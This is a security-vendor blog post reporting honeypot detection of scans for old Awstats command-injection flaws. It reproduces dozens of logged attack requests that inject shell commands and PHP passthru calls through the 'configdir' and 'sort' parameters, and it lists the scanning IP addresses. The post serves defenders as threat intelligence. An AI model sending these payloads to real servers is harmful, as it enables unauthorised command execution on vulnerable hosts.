CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

[Honeypot Alert] Awstats Command Injection Scanning Detected

Issue Detected

Our daily web honeypot analysis has detected an increase in scanning looking for command injection flaws in the Awstats package. Here are example attacks from the logs:

GET /awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /awstats/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /awstats/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /awstatstotals/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /awstatstotals/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;;echo%20YYY;echo| HTTP/1.0GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;;echo%20YYY;echo| HTTP/1.1GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /scripts/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /scripts/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1GET /stat/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.0GET /stat/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d HTTP/1.1GET /stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.0GET /stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo| HTTP/1.1

According to OSVDB - there are two different vulnerabilities that they are probing for:

Both of these vulnerability disclosures are old (2005 and 2008) so we are unsure why there is a sudden uptick in scanning. If you are running Awstats software, you should make sure you are updated: http://awstats.sourceforge.net/

Scanning Source Information

The scanning came from 59 different IP address (a few are resolved to hostnames) -

114.32.226.22118.122.178.65118.97.50.11121.166.70.252122.255.96.164122.255.96.45151.1.183.216159.213.90.53162-119-162-69.reverse.lstn.net180.76.5.49180.76.5.91187.45.213.158190.40.2.40190.95.200.250200.175.53.196202.100.80.21202.28.37.63203.142.24.17211.144.82.8211.167.110.2212.252.120.11212.49.222.82212.92.13.110213.195.75.188219.94.144.230220.162.244.251220.179.64.2358.254.143.20458.254.202.10358.63.241.20959.108.108.10059.163.254.1861.19.45.11962.183.105.16462.225.155.9065.255.176.2667.55.95.13268.78.199.24769.162.119.16278.131.55.17280.248.214.10381.169.165.13881.92.159.19482.193.36.9882.228.250.16385.18.206.22885.88.195.3485.88.195.3587.242.99.16688.173.34.14488.40.179.24289-97-247-147.ip2.fastwebnet.it89.208.95.13093.84.116.21695.87.194.7byr09a.trigger.co.zamail.gymnaziumdc.czmail.ring.hupd5cdac.szokff01.ap.so-net.ne.jp

While there were a number of different source IP addresses used, all of the requests had the exact same User-Agent string:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0.

This leads us to believe that the attack was carried about by the same source client.

Latest SpiderLabs Blogs

The Secret Cipher: Modern Data Loss Prevention Solutions

This is Part 7 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here. Far too many organizations place Data Loss Prevention (DLP) and Data...

Read More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway

Overview A command injection vulnerability has been discovered in the GlobalProtect feature within Palo Alto Networks PAN-OS software for specific versions that have distinct feature configurations...

Read More

CNAPP, CSPM, CIEM, CWPP – Oh My!

We all know the cybersecurity industry loves its acronyms, but just because this fact is widely known doesn’t mean everyone knows the story behind the alphabet soup groups of letters, we must deal...

Read More